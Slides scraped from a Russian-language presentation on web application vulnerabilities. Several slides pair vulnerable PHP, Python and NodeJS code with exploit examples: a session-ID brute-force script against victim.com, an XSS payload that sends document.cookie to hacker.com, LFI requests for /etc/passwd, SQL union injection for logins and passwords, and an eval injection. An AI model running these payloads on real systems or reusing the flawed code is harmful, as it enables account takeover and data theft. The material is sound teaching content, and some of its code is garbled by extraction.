  • 25. Brute force Отправка запросов от имени легитимного пользователя, получение дополнительной информации о приложении, выполнение неавторизованных действий
  • 26. Переполнение буфера Злоумышленник может управлять процессом, «вешать» процесс, перезаписывать внутренние переменные и выполнять действия от имени процесса
  • 27. Подмена контента Получение данных пользователя, выполнение на стороне клиента произвольного кода
  • 29. Предсказуемое значение сессии Создание запросов к приложению с правами скомпрометированного пользователя
  • 30. PHP: $session_id = ‘AD33300002820’ . $userId; OR $session_id = md5($username); Python: session_id = str(random.randint(2000, 4000)) OR sha1 = hashlib.sha1(username + str(random.randint(0, 50000))) access_code = sha1.hexdigest()
  • 31. Exploit example s = requests.Session() url = 'http://victim.com/profile' for x in range(0, 50000): session_id = hashlib.sha1('username' + str(x)).hexdigest() c = dict(id=session_id) r = s.get(url, cookies=c) if r.status_code == 200: print session_id
  • 32. Cross-site Scripting Выполнение на стороне клиента произвольного кода
  • 33. XSS in action <?php // Отправка сообщение $msg = $_POST['msg_text']; $receiver_id = intval($_POST['receiver_id']); $sender_id = $current_user['id']; $db->insert(array( 'msg' => $msg, 'receiver_id' => $receiver_id, 'sender_id' => $sender_id )); ?> <?php // Просмотр сообщения $msg = get_msg($msg_id); ?> <div> <p><?=$msg['msg']?></p> </div>
  • 34. XSS in action Hacker’s request: example.com/send.php POST DATA: msg_text=<script>window.location=‘http://hacker.com/sniff?’+docume nt.cookie</script>&receiver_id=372324 Receiver side: <div> <p><script>window.location=‘http://hacker.com/sniff?’+document.cook ie</script></p> </div>
  • 35. Fingerprinting Получение подробной информации о конфигурации приложения
  • 37. Отказ в обслуживании Отказ одной или нескольких подсистем приложения для 1, 2, …, всех пользователей
  • 38. Предсказуемое расположение ресурсов Выполнение неавторизованных действий, получение неавторизованного доступа к различным файлам
  • 39. Remote/Local File inclusion Исполнение произвольного кода на стороне сервера, выполнение кода на стороне клиента
  • 40. Local File Inclusion Code: <?php include(‘../templates/’ . $_GET*‘template’+); ?> Hacker’s request: http://site.com?page.php?template=../../../../../../etc/passwd OR http://site.com?page.php?template=../images/shell.jpg
  • 41. Инъекции (внедрение кода) Исполнение произвольного кода на стороне сервера, чтение, запись файлов, выполнение команд ОС
  • 42. PHP CODE: $query = ‘SELECT title, text FROM pages WHERE id = ’ . $_GET*‘id’+; Exploit: http://site.com/?id=-1 union select login, password FROM users limit 2,1 NodeJS CODE: var loginParam = eval("({ login: '" + login + "', password: '" + password + "' })"); Hacker’s Login: root'})// Hacker’s Password: 23423 Result: ({ login: 'root'})//', password: '23423' }) db.users.findOne({ login: 'root' })